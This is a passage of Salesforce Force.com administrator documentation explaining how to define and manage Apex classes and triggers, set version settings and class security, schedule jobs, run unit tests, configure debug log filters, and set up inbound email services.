Tools
Available in Developer and Unlimited Editions only. Download tools that can assist you with building, debugging,
testing, and deploying Apex.
See Also:
App Builder Tools Overview
App Setup Overview
Force.com Apex code is a strongly-typed, object-oriented programming language that allows developers to execute flow and
transaction control statements on the Force.com platform server in conjunction with calls to the Force.com API. Using syntax
that looks like Java and acts like database stored procedures, Apex code enables developers to add business logic to most system
events, including button clicks, related record updates, and Visualforce pages. Apex scripts can be initiated by Web service
requests and from triggers on objects.
Apex can be stored on the platform in two different forms:
• A class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code under Setup ➤ Develop ➤ Apex Classes. See Managing
Apex Classes on page 1542.
• A trigger is an Apex script that executes before or after specific data manipulation language (DML) events occur, such as
before object records are inserted into the database, or after records have been deleted. Triggers are stored as metadata in
Salesforce.com. A list of all triggers in your organization is located at Setup ➤ Develop ➤ Apex Triggers. See Managing
Apex Triggers on page 1550.
Apex scripts generally run in system context, that is, the current user's profile-based permissions, field-level security, and
sharing rules are not taken into account during script execution.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement. For more information on deploying Apex, see “Deploying Apex
Scripts” in the Force.com Apex Code Developer's Guide.
1538
Develop Defining Apex Classes
For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
See Also:
Defining Apex Classes
Viewing Apex Classes
Setting Apex Class Security
Creating an Apex Class from a WSDL
Defining Apex Triggers
What is a Debug Log?
Using the System Log Console
Running Apex Unit Tests
Monitoring Debug Logs
Using the Apex Tools
Handling Apex Exceptions in Managed Packages
Developer's Guide: Force.com Apex Code Developer's Guide
To create a class:
1539
Develop Managing Version Settings for Apex
4. In the Body text box, enter the Apex for the class. A single class can be up to 100,000 characters in length.
5. Click Save to save your changes and return to the class detail screen, or click Quick Save to save your changes and continue
editing your class. Your Apex script must compile correctly before you can save your class.
Once saved, classes can be invoked through class methods or variables by any other Apex script.
Note: To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and
the API. If the Apex class references components, such as a custom object, in installed managed packages, the version
settings for each managed package referenced by the class is saved too. Additionally, classes are stored with an isValid
flag that is set to true as long as dependent metadata has not changed since the class was last compiled. If any changes
are made to object names or fields that are used in the class, including superficial changes such as edits to an object or
field description, or if changes are made to a class that calls this class, the isValid flag is set to false. When a
trigger or Web service call invokes the class, the code is recompiled and the user is notified if there are any errors. If
there are no errors, the isValid flag is reset to true.
See Also:
Force.com Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide
To aid backwards-compatibility, classes are stored with the version settings for a specified version of Apex and the API. If the
Apex class references components, such as a custom object, in installed managed packages, the version settings for each managed
package referenced by the class is saved too. This ensures that as Apex, the API, and the components in managed packages
evolve in subsequent released versions, a class or trigger is still bound to versions with specific, known behavior.
The version number has the format majorNumber.minorNumber.patchNumber (for example, 2.1.3). The major and minor
numbers increase to a chosen value during every major release. The patchNumber is generated and updated only for a patch
release. If there is no patchNumber, it is assumed to be zero (0). Patch versions are currently available through a pilot program.
For information on enabling patch versions for your organization, contact salesforce.com. Publishers can use package versions
to evolve the components in their managed packages gracefully by releasing subsequent package versions without breaking
existing customer integrations using the package.
1540
Develop Managing Version Settings for Apex
To set the Salesforce.com API and Apex version for a class or trigger:
• If you save an Apex class or trigger that references a managed package without specifying a version of the managed package,
the Apex class or trigger is associated with the latest installed version of the managed package by default.
• You cannot Remove a class or trigger's version setting for a managed package if the package is referenced in the class or
trigger. Use Show Dependencies to find where a managed package is referenced by a class or a trigger.
See Also:
Force.com Apex Code Overview
Defining Apex Classes
Defining Apex Triggers
Managing Apex Classes
Managing Apex Triggers
Viewing Apex Classes
Setting Apex Class Security
Managing Packages
About Package Versions
Developer's Guide: Force.com Apex Code Developer's Guide
1541
Develop Managing Apex Classes
An Apex class is a template or blueprint from which Apex objects are created. Classes consist of other classes, user-defined
methods, variables, exception types, and static initialization code. Once successfully saved, class methods or variables can be
invoked by other Apex scripts, or through the Web services API (or AJAX Toolkit) for methods that have been designated
with the webService keyword.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.
To create an Apex class, click New and write your Apex in a simple editor. See Defining Apex Classes on page 1539.
While developers can write class methods according to the syntax outlined in the Force.com Apex Code Developer's Guide,
classes can also be automatically generated by consuming a WSDL document that is stored on a local hard drive or network.
Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their
Apex scripts. Click Generate From WSDL to generate an Apex class from a WSDL document.
Once you have created an Apex class, you can do any of the following:
• Click Edit next to the class name to modify its contents in a simple editor.
• Click Del next to the class name to delete the class from your organization.
Note:
- You cannot delete a class that is specified as a controller for a Visualforce page or component.
- A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations. For more information, see the Force.com Quick Reference for Developing Packages.
- A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.
- A icon indicates that an Apex class in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex class through the package detail page. See Deleting
Components From Managed Packages
• If an Apex class has any methods defined as a webService, you can click WSDL next to the class name to generate a
WSDL document from the class contents. This document contains all of the information necessary for a client to consume
Apex Web service methods. All class methods with the webService keyword are included in the resulting WSDL
document.
1542
Develop Viewing Apex Classes
• Click Security next to the class name to select the profiles that are allowed to execute methods in the class from top-level
entry points such as Web service methods. For classes that are installed in your organization as part of a managed package,
this link only displays for those defined as global.
If you have unit tests in at least one Apex class, click Run All Tests to run all the unit tests in your organization. For more
information, see Running Apex Unit Tests on page 1554.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.
See Also:
Force.com Apex Code Overview
Defining Apex Classes
Viewing Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Understanding Dependencies
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide
After you have created a class, you can view the code contained in the class, as well as the API against which the class was
saved, and if the class is valid or active. Click Setup ➤ Develop ➤ Apex Classes, then click the name of the class you want
to view. While viewing a class, you can do any of the following:
- You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the
Force.com IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are
1543
Develop Viewing Apex Classes
free resources provided by salesforce.com to support its users and partners, but are not considered part of our
Services for purposes of the salesforce.com Master Subscription Agreement.
- A icon indicates that an Apex class was released in a managed package. Apex classes in packages have special
considerations. For more information, see the Force.com Quick Reference for Developing Packages.
- A icon indicates that an Apex class is in an installed managed package. You cannot edit or delete a class in
a managed package.
- A icon indicates that an Apex class in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex class through the package detail page.
• If your class has a method defined as a webService, click Generate WSDL to generate a WSDL document based on
the class.
Note: You cannot generate a WSDL document for classes defined as isTest.
The Class Summary tab displays the prototype of the class; that is, the classes, methods and variables that are available to
other Apex scripts. The Class Summary tab lists the access level and signature for each method and variable in an Apex class,
as well as any inner classes. If there is no prototype available, this tab is not available.
Note:
• For Apex classes not included in managed packages, only classes, methods and variables defined as either global
or public are displayed.
• For Apex classes included in managed packages, the Class Summary tab also lists the package version a particular
property or method was introduced. You can select a version number from the drop-down list to see the prototype
for the selected package version. The default value is the current installed version. A package developer can deprecate
an Apex method and upload a new package version, thus exposing an Apex class with a different prototype. Only
classes, methods and variables defined as global are displayed in prototypes for managed package classes.
1544
Develop Creating an Apex Class from a WSDL
If an Apex class references components in installed managed packages, such as another class, trigger, or custom object, the
Version Settings tab lists the package versions of the packages containing the referenced components.
See Also:
Force.com Apex Code Overview
Managing Apex Classes
Defining Apex Classes
Creating an Apex Class from a WSDL
Setting Apex Class Security
Using the Editor for Visualforce or Apex
Managing Packages
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide
An Apex class can also be automatically generated from a WSDL document that is stored on a local hard drive or network.
Creating a class by consuming a WSDL document allows developers to make callouts to the external Web service in their
Apex scripts.
Note: Use Outbound Messaging to handle integration solutions when possible. Use callouts to third-party Web
services only when necessary.
1545
Develop Creating an Apex Class from a WSDL
4. Click Parse WSDL to verify the WSDL document contents. The application generates a default class name for each
namespace in the WSDL document and reports any errors. Parsing will fail if the WSDL contains schema types or schema
constructs that are not supported by Apex classes, or if the resulting classes would exceed 100,000 character limit on Apex
classes. For example, the Salesforce.com SOAP API WSDL cannot be parsed.
5. Modify the class names as desired. While you can save more than one WSDL namespace into a single class by using the
same class name for each namespace, Apex classes can be no more than 100,000 characters total.
6. Click Generate Apex. The final page of the wizard shows which classes were successfully generated, along with any errors
from other classes. The page also provides a link to view the generated code if it was successful.
The successfully generated Apex class includes stub and type classes for calling the third-party Web service represented by the
WSDL document. These classes allow you to call the external Web service from Apex. The SOAP request and response for
a Web services call are both limited to 1 MB or less. For an example, see the Force.com Apex Code Developer's Guide.
Note the following about the generated Apex:
• If a WSDL document contains an Apex reserved word, the word is appended with _x when the Apex class is generated.
For example, limit in a WSDL document would be converted to limit_x in the generated Apex class. For a list of
reserved words, see the Force.com Apex Code Developer's Guide.
• If an operation in the WSDL has an output message that has more than one element, the generated Apex wraps the
elements in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the
individual elements.
See Also:
Force.com Apex Code Overview
Managing Apex Classes
Viewing Apex Classes
Defining Apex Classes
Setting Apex Class Security
Developer's Guide: Force.com Apex Code Developer's Guide
1546
Develop Setting Apex Class Security
You can specify which users can execute methods in a particular top-level Apex class based on their profile. These permissions
only apply to Apex class methods, such as Web service methods, or any method used in a custom Visualforce controller or
controller extension applied to a Visualforce page. Triggers always fire on trigger events (such as insert or update), regardless
of a user's permissions.
Note: If you have installed a managed package in your organization, you can set security only for the Apex classes in
that package that are declared as global, or for classes that contain methods declared as webService.
If a user has the “Author Apex” permission enabled in his or her profile, the user has access to all Apex classes in the
associated organization, regardless of the security setting for individual classes.
Permission for an Apex class is checked at the top level only. For example, if class A calls class B, and a user profile has access
only to class A but not class B, the user can still successfully execute the code in class A. Likewise, if a Visualforce page uses
a custom component with an associated controller, security is only checked for the controller associated with the page. The
controller associated with the custom component executes regardless of permissions.
To set Apex class security from the class list page:
1547
Develop Defining Apex Triggers
See Also:
Force.com Apex Code Overview
Managing Apex Classes
Defining Apex Classes
Creating an Apex Class from a WSDL
Running Apex Unit Tests
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide
Apex triggers are stored as metadata in the application under the object with which they are associated.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.
To define a trigger:
1. For a standard object, click Setup ➤ Customize, click the name of the object, then click Triggers.
For a custom object, click Setup ➤ Create ➤ Objects and click the name of the object.
For campaign members, click Setup ➤ Customize ➤ Campaigns ➤ Campaign Member ➤ Triggers.
For case comments, click Setup ➤ Cases ➤ Case Comments ➤ Triggers.
For email messages, click Setup ➤ Cases ➤ Email Messages ➤ Triggers.
2. In the Triggers related list, click New.
3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed
managed packages from the AppExchange, you can also specify which version of each managed package to use with this
1548
Develop Defining Apex Triggers
trigger. Generally, you should use the default values for all versions. This associates the trigger with the most recent version
of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want
to access components or functionality that differs from the most recent package version. You can specify an older version
of Apex and the API to maintain specific behavior.
4. Select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only
want to store the script in your organization's metadata. This checkbox is selected by default.
5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 32,000 characters in length.
To define a trigger, use the following syntax:
where trigger_events can be a comma-separated list of one or more of the following events:
• before insert
• before update
• before delete
• after insert
• after update
• after delete
• after undelete
Note:
• You can only use the webService keyword in a trigger when it is in a method defined as asynchronous, that
is, when the method is defined with the @future keyword.
• A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime
error when the trigger is called in bulk from the Force.com API.
6. Click Save.
Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed
since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger,
including superficial changes such as edits to an object or field description, the isValid flag is set to false until the
Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves
the trigger in metadata.
If a lookup field references a record that is deleted, Salesforce.com sets the lookup field to null, and does not run any
Apex triggers, validation rules, workflow rules, or roll-up summary fields.
See Also:
Force.com Apex Code Overview
Managing Apex Triggers
Managing Version Settings for Apex
Using the Editor for Visualforce or Apex
Developer's Guide: Force.com Apex Code Developer's Guide
1549
Develop Managing Apex Triggers
A trigger is an Apex script that executes before or after specific data manipulation language (DML) events occur, such as
before object records are inserted into the database, or after records have been deleted.
Triggers are stored as metadata in Salesforce.com. A list of all triggers in your organization is located at Setup ➤ Develop
➤ Apex Triggers. In addition to this list, triggers are associated and stored with specific objects. For standard objects, triggers
are located at Setup ➤ Customize ➤ Standard_Object_Name ➤ Triggers, and on the object detail page for custom objects
at Setup ➤ Create ➤ Objects.
Note: The namespace prefix is added to Apex classes and triggers, Visualforce components and pages, brand templates,
folders, s-controls, static resources, web links, and custom report types if they are included in a managed package.
However, if your profile does not have customize application permissions, the namespace prefix field is not displayed
for brand templates, folders, and custom report types. For more information on namespace prefixes, see Registering
a Namespace Prefix on page 1496.
• Click Edit next to the trigger name to modify its contents in a simple editor.
• Click Del next to the trigger name to delete the trigger from your organization.
Note:
• You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition organization,
a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com production
organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com IDE,
or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.
• A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a trigger in
a managed package.
1550
Develop Viewing Apex Trigger Details
• A icon indicates that an Apex trigger in a previously released managed package will be deleted on the next
package upload. You can choose to undelete the Apex trigger through the package detail page. See Deleting
Components From Managed Packages
See Also:
Force.com Apex Code Overview
Defining Apex Triggers
Viewing Apex Trigger Details
Understanding Dependencies
Developer's Guide: Force.com Apex Code Developer's Guide
Apex triggers are stored as metadata in the application under the object with which they are associated. You can also view all
triggers by clicking Setup ➤ Develop ➤ Apex Triggers.
Note: You can add, edit, or delete Apex using the Salesforce.com user interface only in a Developer Edition
organization, a Salesforce.com Enterprise Edition trial organization, or sandbox organization. In a Salesforce.com
production organization, you can only make changes to Apex by using the Metadata API deploy call, the Force.com
IDE, or the Force.com Migration Tool. The Force.com IDE and Force.com Migration Tool are free resources provided
by salesforce.com to support its users and partners, but are not considered part of our Services for purposes of the
salesforce.com Master Subscription Agreement.
To view the details for a trigger, click Setup ➤ Develop ➤ Apex Triggers, then click the name of the trigger. You can also
access the trigger details from the object. For a standard object, click Setup ➤ Customize, click the name of the object, click
Triggers, then click the name of the trigger. For a custom object, click Setup ➤ Create ➤ Objects, click the name of the
object, then click the name of the trigger.
From the trigger detail page, you can do any of the following:
Note: A icon indicates that an Apex trigger is in an installed managed package. You cannot edit or delete a
trigger in a managed package.
1551
Develop Scheduling Apex
• Click Download Apex to download the text of the trigger. The file is saved with the name of the trigger as the file name,
with the filetype of .trg.
The trigger detail page shows the following information for a trigger:
See Also:
Force.com Apex Code Overview
Managing Apex Triggers
Defining Apex Triggers
Managing Packages
About Package Versions
Managing Version Settings for Apex
Developer's Guide: Force.com Apex Code Developer's Guide
Scheduling Apex
Available in: Unlimited, Developer, and Enterprise Editions
Use the Apex scheduler if you have specific Apex classes that you want to run on a regular basis, or to run a batch Apex job
using the Salesforce.com user interface.
The scheduler runs as system: all classes are executed, whether the user has permission to execute the class or not. For more
information about class permissions, see Setting Apex Class Security on page 1547.
Important: Salesforce.com only adds the process to the queue at the scheduled time. Actual execution may be delayed
based on service availability.
1552
Develop Using the System Log Console
1. Implement the Schedulable interface in an Apex class that instantiates the class you want to run.
2. Click Setup ➤ Develop ➤ Apex Classes and click Schedule Apex.
3. Specify the name of a class that you want to schedule.
4. Specify how often the Apex class is to run.
• For Weekly—specify one or more days of the week the job is to run (such as Monday and Wednesday).
• For Monthly—specify either the date the job is to run or the day (such as the second Saturday of every month.)
5. Specify the start and end dates for the Apex scheduled class. If you specify a single day, the job only runs once.
6. Specify a preferred start time. The exact time the job starts depends on what other jobs are in the queue at that time.
7. Click Save.
Note: You can only have ten active or scheduled jobs concurrently.
After you schedule an Apex job, you can monitor the progress of the job on the All Scheduled Jobs page.
Once the job has completed, you can see specifics about the job (such as whether it passed or failed, how long it took to process,
the number of records process, and so on) on the Apex Jobs page.
See Also:
Force.com Apex Code Overview
Defining Apex Classes
Apex Job Queue
Developer's Guide: Force.com Apex Code Developer's Guide
The System Log console is a separate window that can be used for debugging code snippets or tracking code execution during
a transaction. Access the System Log console from the Salesforce.com user interface by clicking System Log in the upper
right of any page. From the System Log console , you can:
• Click Show Filter Settings to specify which events you want recorded in future logs.
• Enter a snippet of Apex code you want to test and click Execute.
1553
Develop Running Apex Unit Tests
• If you have existing logs, select a log to view the details of it, or click Clear Log List to remove all existing debug logs from
the display window. Logs are only maintained for 60 minutes.
For more information on the debug log, see What is a Debug Log? on page 1556.
Any Apex code that you enter into the text entry box runs as if you had executed it using ExecuteAnonymous.
You cannot use the keyword static in code that you enter directly into the System Log console. In addition, although you
can have DML statements (such as insert or delete), those actions are not actually performed.
Caution: If you are exercising methods defined as testMethod by calling the class that contains them using the
System Log console, all DML statements actually are executed. This may add unwanted data to your organization.
For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
See Also:
What is a Debug Log?
Setting Debug Log Filters
Viewing Debug Logs
Monitoring Debug Logs
Running Apex Unit Tests
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide
You can run the unit tests for your Apex scripts using the Salesforce.com user interface. You can run unit tests for a specific
class or you can run all the unit tests in your organization. Unit test methods take no arguments, commit no data to the
database, send no emails, and are flagged with the testMethod keyword in the method definition.
To run the unit tests for a specific class, click Setup ➤ Develop ➤ Apex Classes, click the name of the class, then click Run
Test. If your class calls another class or causes a trigger to execute, those Apex scripts are included in the total amount used
for calculating the percentage of code covered.
To run all the unit tests in your organization, click Setup ➤ Develop ➤ Apex Classes, then click Run All Tests.
The result page for running unit tests contains the following sections. Each section can be expanded or collapsed.
• A summary section that details the number of tests run, the number of failures, and the percentage of Apex scripts that
are covered by unit tests.
1554
Develop Running Apex Unit Tests
Important:
- You must have at least 75% of your Apex scripts covered by unit tests to deploy your scripts to production
environments. In addition, all triggers should have some test coverage.
- Salesforce.com recommends that you have 100% of your scripts covered by unit tests, where possible.
- Calls to System.debug are not counted as part of Apex code coverage in unit tests.
Category Level
Database INFO
Apex Code FINE
Apex Profiling INFO
Workflow INFO
Validation INFO
For more information on the debug log, see Debug Log Details on page 710.
See Also:
Force.com Apex Code Overview
What is a Debug Log?
Setting Debug Log Filters
Viewing Debug Logs
Monitoring Debug Logs
Defining Apex Classes
Developer's Guide: Force.com Apex Code Developer's Guide
1555
Develop What is a Debug Log?
A debug log records database operations, system processes, and errors that occur when executing a transaction or while running
unit tests. The system generates a debug log for a user every time that user executes a transaction that is included in the filter
criteria.
Transactions can be generated from the following:
The filter criteria set for the user, the System Log or the API header determines what is included in the debug log. Debug
logs can contain information about:
• Database changes
• HTTP callouts
• Apex errors
• Resources used by Apex
• Automated workflow processes, such as:
- Workflow rules
- Assignment rules
- Approval processes
- Validation rules
• You're a developer creating a custom application and use the debug log to validate some of the application's behavior, such
as if the application made callouts to an external system. You could set the debug log filter to check for callouts, then in
the debug log, view information about the success and duration of those callouts.
1556
Develop Setting Debug Log Filters
• You're an administrator for an organization, and a user reports having difficulties. You could start to monitor the debug
logs for that user, have them step through the transaction, and then use the debug log to view the system details of the
transaction.
See Also:
Viewing Debug Logs
Setting Debug Log Filters
Monitoring Debug Logs
Retaining Debug Logs
Running Apex Unit Tests
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide
When using the System Log console or monitoring a debug log, you can specify the level of information that gets included
in the log.
Log category
The type of information logged, such as information from Apex or workflow rules.
Log level
The amount of information logged.
Event type
The combination of log category and log level that specify which events get logged. Each event may log additional
information, such as the line and character number where the event started, fields associated with the event, duration of
the event in milliseconds, and so on.
1557
Develop Setting Debug Log Filters
• ERROR
• WARN
• INFO
• DEBUG
• FINE
• FINER
• FINEST
The event identifier is composed of the specific event that triggered the debug log being written to, such as SAVEPOINT_RESET
or VALIDATION_RULE, and any additional information logged with that event, such as the method name or the line and
character number where the code was executed.
In this example, the event identifier is made up of the following:
1558
Develop Setting Debug Log Filters
• Event name:
USER_DEBUG
[1,1]
DEBUG
Hello world!
The following log line is recorded when the test reaches line 5 in the code:
15:51:01.071|DML_BEGIN|[5,1]|Op:Insert|Type:Invoice_Statement__c|Rows:1
DML_BEGIN
[5,1]
Op:Insert
• Object name:
Type:Invoice_Statement__c
Rows:1
1559
Develop Setting Debug Log Filters
The following table lists the event types that are logged, what fields or other information get logged with each event, as well
as what combination of log level and category cause an event to be logged.
Event Name Fields or Information Logged With Category Logged Level Logged
Event
CALLOUT_REQUEST Line and character number of the event Callout INFO and above
in the code, request headers
CALLOUT_RESPONSE Line and character number of the event Callout INFO and above
in the code, response body
CODE_UNIT_FINISHED None Apex Code INFO and above
CODE_UNIT_STARTED Line and character number of the event Apex Code INFO and above
in the code, code unit name, such as
MyTrigger on Account trigger
event BeforeInsert for null
1560
Develop Setting Debug Log Filters
Event Name Fields or Information Logged With Category Logged Level Logged
Event
Number of DML statements
Number of DML rows
Number of script statements
Maximum heap size
Number of callouts
Number of Email Invocations
Number of fields describes
Number of record type
describes
Number of child
relationships
describes
Number of picklist describes
Number of future calls
Number of find similar calls
Number of System.runAs()
invocations
METHOD_ENTRY Line and character number of the event Apex Code FINEST
in the code, method signature
METHOD_EXIT Line and character number of the event Apex Code FINEST
in the code, method signature
QUERY_MORE_ITERATIONS Line and character number of the event DB INFO and above
in the code, number of queryMore
iterations
SAVEPOINT_ROLLBACK Line and character number of the event DB INFO and above
in the code, Savepoint name
SAVEPOINT_SET Line and character number of the event DB INFO and above
in the code, Savepoint name
SLA_END Number of cases, load time, processing Workflow INFO and above
time, number of case milestones to
insert/update/delete, new trigger
SLA_EVAL_MILESTONE Milestone ID Workflow INFO and above
SLA_NULL_START_DATE None Workflow INFO and above
SLA_PROCESS_CASE Case ID Workflow INFO and above
SOQL_EXECUTE_BEGIN Line and character number of the event DB INFO and above
in the code, number of aggregations,
query source
SOQL_EXECUTE_END Line and character number of the event DB INFO and above
in the code, number of rows, duration
in milliseconds
SOSL_EXECUTE_BEGIN Line and character number of the event DB INFO and above
in the code, query source
SOSL_EXECUTE_END Line and character number of the event DB INFO and above
in the code, number of rows, duration
in milliseconds
1561
Develop Setting Debug Log Filters
Event Name Fields or Information Logged With Category Logged Level Logged
Event
STACK_FRAME_VARIABLE_LIST Frame number, variable list of the form: Apex Profiling FINE and above
Variable number | Value. For
example:
var1:50
var2:'Hello World'
STATEMENT_EXECUTE Line and character number of the event Apex Code FINEST
in the code
STATIC_VARIABLE_LIST Variable list of the form: Variable Apex Profiling FINE and above
number | Value. For example:
var1:50
var2:'Hello World'
1562
Develop Setting Debug Log Filters
Event Name Fields or Information Logged With Category Logged Level Logged
Event
WF_ACTIONS_END Summer of actions performed Workflow INFO and above
WF_APPROVAL Transition type, EntityName: Workflow INFO and above
NameField Id, process node name
1563
Develop Using the Apex Tools
Event Name Fields or Information Logged With Category Logged Level Logged
Event
WF_RULE_FILTER Filter criteria Workflow INFO and above
WF_RULE_INVOCATION EntityName: NameField Id Workflow INFO and above
WF_RULE_NOT_EVALUATED None Workflow INFO and above
WF_SOFT_REJECT Process name Workflow INFO and above
WF_SPOOL_ACTION_BEGIN Node type Workflow INFO and above
WF_TIME_TRIGGER EntityName: NameField Id, time Workflow INFO and above
action, time action container, evaluation
Datetime
WF_TIME_TRIGGERS_BEGIN None Workflow INFO and above
See Also:
What is a Debug Log?
Monitoring Debug Logs
Viewing Debug Logs
Running Apex Unit Tests
Developer's Guide: Force.com Apex Code Developer's Guide
Download the Force.com Migration Tool if you want to use a script for deploying Apex from a Developer Edition or sandbox
organization to a Salesforce.com production organization using Apache's Ant build tool.
To download the Force.com Migration Tool:
The salesforce_ant.zip file contains the files you need to run an ant task that exercises the compileAndTest API call,
including:
1564
Develop What are Email Services?
For more information on the syntax and use of Apex, see the Force.com Apex Code Developer's Guide.
You can also download the Force.com IDE to help you write Apex in projects that mirror your organization. Using this tool,
you can also compile and test the code you write, synchronize changes between the organization and project, and deploy your
code to another organization.
Note: The Force.com IDE and Force.com Migration Tool are free resources provided by salesforce.com to support
its users and partners, but is not considered part of our Services for purposes of the salesforce.com Master Subscription
Agreement.
See Also:
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide
Email services are automated processes that use Apex classes to process the contents, headers, and attachments of inbound
email. For example, you can create an email service that automatically creates contact records based on contact information
in messages.
You can associate each email service with one or more Salesforce.com-generated email addresses to which users can send
messages for processing. To allow multiple users to use a single email service, you can:
• Associate multiple Salesforce.com-generated email addresses with the email service, and allocate those addresses to users.
1565
Develop What are Email Services?
• Associate a single Salesforce.com-generated email address with the email service, and write an Apex class that executes
according to the user accessing the email service. For example, you can write an Apex class that identifies the user based
on the user's email address, and creates records on behalf of that user.
See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
Defining Email Services
Defining Email Service Addresses
Developer's Guide: Force.com Apex Code Developer's Guide
1566
Develop Defining Email Services
return result;
}
}
For information on the InboundEmail object, see Using the InboundEmail Object on page 1571.
5. Choose the types of attachments you want the email service to accept. The options are:
None
The email service accepts the message but discards any attachment.
Messages with attachments other than these types are accepted, but the attachments are discarded.
1567
Develop Defining Email Services
All
The email service accepts any type of attachment.
Note: An email service can only process attachments if you configure the email service to accept attachments and
use an Apex class that processes the types of attachments the email service accepts.
Also, note that email services cannot accept inline attachments, such as graphics inserted in email messages.
6. Optionally, select the Advanced Email Security Settings checkbox to configure the email service to verify the
legitimacy of the sending server before processing a message. The email service uses the following authentication protocols
to verify the sender's legitimacy:
• SPF
• SenderId
• DomainKeys
If the sending server passes at least one of these protocols and does not fail any, the email service accepts the email. If the
server fails a protocol or does not support any of the protocols, the email service performs the action specified in the
Unauthenticated Sender Action failure response setting.
Tip: Before selecting the Authenticate Senders checkbox, ensure that the senders that you expect to use the
email service support at least one of the authentication protocols listed above. For information on these authentication
protocols, see the following websites:
• www.openspf.org
• www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
7. Email services rejects email messages and notifies the sender if the email (combined body text, body HTML and attachments)
exceeds approximately 10MB (varies depending on language and character set). You can truncate email body text, body
HTML, and text attachments to 100KB.
8. You can convert text attachments to binary attachments.
9. Optionally, configure this email service only to accept messages from certain senders by listing their email addresses and
domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
receives a message from an unlisted email address or domain, the email service performs the action specified in the
Unauthorized Sender Action failure response setting.
Leave this field blank if you want the email service to receive email from any email address.
Note: You can also authorize email addresses and domains at the email service address-level. See Defining Email
Service Addresses on page 1570.
If both the email service and email service address are configured to only accept messages from certain senders, the
email service only processes messages from senders that are listed in the Accept Email From text boxes on both
the email service and the email service address.
10. Select the Active checkbox if you want the email service to be activated when you click Save.
11. Configure the failure response settings, which determine how the email service responds if an attempt to access this email
service fails for the following reasons:
1568
Develop Defining Email Services
Discard Message
The email service deletes the message without notifying the sender.
See Also:
Force.com Apex Code Overview
Using the InboundEmail Object
What are Email Services?
Defining Email Service Addresses
Enabling and Configuring On-Demand Email-to-Case
Developer's Guide: Force.com Apex Code Developer's Guide
1569
Develop Defining Email Service Addresses
5. Select the Active checkbox if you want the email service address to be activated when you click Save.
6. Choose the Context User. The email service assumes the permissions of the context user when processing the messages
this address receives. For example, if the email service is configured to modify contact records upon receiving updated
contact information, the email service only modifies a record if the context user has permission to edit the record.
Important: Choose a context user that has permission to execute the Apex class that the email service is configured
to use.
7. Optionally, configure this email service address to only accept messages from certain senders by listing their email addresses
and domains in the Accept Email From text box. Separate multiple entries with commas. For example:
george@mycompany.com, yahoo.com, gmail.com. If the Accept Email From text box has a value and the email service
